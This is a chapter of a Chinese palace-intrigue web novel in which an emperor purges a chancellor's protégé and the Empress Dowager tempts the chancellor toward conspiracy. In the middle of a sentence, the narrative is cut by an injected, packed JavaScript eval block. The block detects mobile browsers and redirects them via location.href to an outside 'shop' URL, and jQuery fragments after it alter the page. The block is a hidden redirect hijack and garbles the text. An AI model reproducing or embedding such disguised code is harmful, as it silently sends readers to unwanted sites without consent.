68.孰清孰浊
作品:《帝青》 昭京皇城,紫宸殿。
金砖墁地,玉柱盘龙,华贵奢靡,一如既往。
靖和帝高踞御座之上,玄色龙袍衬得他面容冷峻,不怒自威。
他正批阅着一份弹劾奏章,被弹劾的,是户部右侍郎张禧隆,薛高义的得意门生之一。
此人掌管着部分漕运钱粮的审计。
“贪墨漕银,勾结地方,致使去岁江南漕粮延误月余,沿途百姓怨声载道。”李牧之字字珠玑,如冰珠砸落玉盘,“薛相。此事,你可知情?”
所有朝臣的目光瞬间聚焦在站在文官首列的薛高义身上。
老宰相须发皆白,紫色官袍穿在他略显清瘦的身上,依旧带着三朝元老的威仪。
他缓缓出列,手持玉笏,深深一揖:“回陛下,老臣惶恐。张侍郎乃陛下钦点,老臣只知其一贯勤勉,竟未察觉其包藏祸心,实乃失察之罪,请陛下责罚。”
他姿态放得极低,只提失察,绝口不提任何维护之词,被弹劾的官员听上去似乎与他毫无瓜葛。
李牧之眼底闪过一丝冷芒。
这老狐狸,断尾求生倒是果断。
“薛相年高德劭,偶有失察,朕岂会怪罪。”李牧之语气淡漠,“只是,此等蠹虫,断不能留。传朕旨意,革去张禧隆所有官职,抄没家产,流放三千里,遇赦不赦。其空缺由吏部即刻举荐能员干吏补上。”
旨意一下,殿内寂静无声。
谁都知道,那张侍郎的位置至关重要,薛党把持多年。
陛下此举,不仅是砍掉了薛高义一条臂膀,更是要趁机将自己的人塞进去。
薛高义垂首谢恩,花白的眉毛下,眼神浑浊。
退朝的钟声响起,百官鱼贯而出。
薛高义走在最前,步伐依旧稳健,只是背影在空旷的宫道上,显得略有孤寂。
几名心腹官员悄悄围拢过来,面带忧色:“恩师,陛下此举,分明是……”
薛高义抬手,制止了他们后面的话。
他停下脚步,望着宫墙上方被切割得四四方方的天空,低叹道:“雷霆雨露,俱是君恩。我等为臣者,但尽本分即可。”他正了正被风抚乱的衣冠,“只是,树欲静而风不止啊。”
老丞相心中清明如镜,李牧之正欲对薛党进行系统性的清洗。先是几个无关紧要的位置,如今已动到了核心地带。
张侍郎的是非功过,恐怕只是个开始。陛下羽翼已丰,不再需要他来平衡朝局,甚至视他为推行新政的绊脚石。
回到薛府书房,檀香依旧,气氛比往日更加凝重几分。
薛高义屏退左右,独自坐在太师椅上,闭目养神。良久,他睁开眼,布满皱纹的脸上看不出喜怒。
“备轿。”他沉声吩咐,“去长宁宫。”
长宁宫内,依旧弥漫着沁人的暖香。赵太后半倚在凤榻上,穿着一深暗色的常服,未施脂粉,神色恹恹。在看到来人时,神色却陡然锐利起来。
“稀客啊。薛相日理万机,今日怎么有空到哀家这冷宫里来了?”
薛高义恭敬行礼,姿态无可挑剔:“老臣参见太后娘娘。娘娘凤体欠安,老臣特来探望。”
闻言,赵太后嗤笑一声,挥退了左右宫人,“薛相,咱们明人不说暗话。牧之那小子,如今连你这三朝元老的脸面都不给了,你心里,就没什么想法?”
薛高义垂眸:“陛下乃九五之尊,行事自有章法。老臣不敢妄加揣测。”
赵太后坐直了身子,一改先前颓丧的姿态,“他的章法,就是穷兵黩武,苛捐杂税,宠信妖妃,打压忠良。连哀家这个母后都被他冷落于此!薛高义,你口口声声忠于李氏江山,难道就眼睁睁看着这江山,被他如此折腾下去?”
薛高义沉默片刻,终于抬起头,躬身一拜:“太后娘娘,陛下……终究是李氏正统。”
赵太后像是听到了天大的笑话,毕竟这李牧之可是她自己扶持上去的,然而他也愈发脱离了她的掌控。
她压低声音,蛊惑道:“先帝在时,最属意的,从来都是澜儿!若非遭帝青陷害,神智受损,如今坐在那龙椅上的,该是谁?”
薛高义心头一震,深知是太后在推敲他心意,面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073933|195067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上却不露分毫:“太后,望您慎言。澜太子……如今安心静养,亦是陛下仁德。”
赵太后则步步紧逼,目光灼灼,“薛高义,别再自欺欺人了!李牧之今日能动你的门生,明日就能动你薛家满门。你的皇后女儿,在宫里过得是什么日子,你别告诉哀家你不知道!他连子嗣都不愿让她有!”
提到薛映棠,薛高义古井无波的脸上终于出现了细微的裂痕。
赵太后捕捉到这一变化,语气放缓,多了几分循循善诱:“薛相,你我如今是同一条船上的人。他李牧之不仁,就休怪我们不义。
“为了这大昭的江山社稷,为了你薛家的未来,有些事,该早做打算了。”
薛相沉默着,对她的话半信半疑。赵太后曾权倾朝野,与他明争暗斗多年,这女人毒辣的心性,他自然是知道的。
他知道,与虎谋皮,危险至极。但眼下,李牧之的刀已经架在了脖子上......
长春宫内,则是另一番安宁景象。
烛火温馨,灯花摇曳,摇篮里的赵王李元初睡得正熟。程晚凝仅用薄粉敷面,穿着宽松的常服,坐在榻边。她手中拿着一卷兵书,心思却不在兵书上。
李牧之坐在她对面,眉宇舒坦,神色放松。
“陛下今日在朝堂上,似乎动了怒?”程晚凝轻声闻讯,递过一盏温热的参茶。
李牧之接过,抿了一口,淡淡道:“不过是清理了几只蛀虫。”他望向程晚凝,目光柔和了些,“晚凝,还是你这里清净。”
程晚凝颔首微笑,并不追问朝政细节,转而道:“北疆近日似有异动,戎族几个部落似有联合之势,还需早做防范。”
一语已尽,靖和帝赞许地点头:“朕已知晓。已命兵部加紧筹措边备。”
凝妃仪态万方,知书达理,总能平息他心中的浮躁之意。
只有在这里,他才能找到通晓心意的知己,得到真正有价值的建议。
而非朝堂上的阿谀奉承或勾心斗角。
即便,她曾是长兄的妻子,那又如何。这天下,终是他李牧之的。

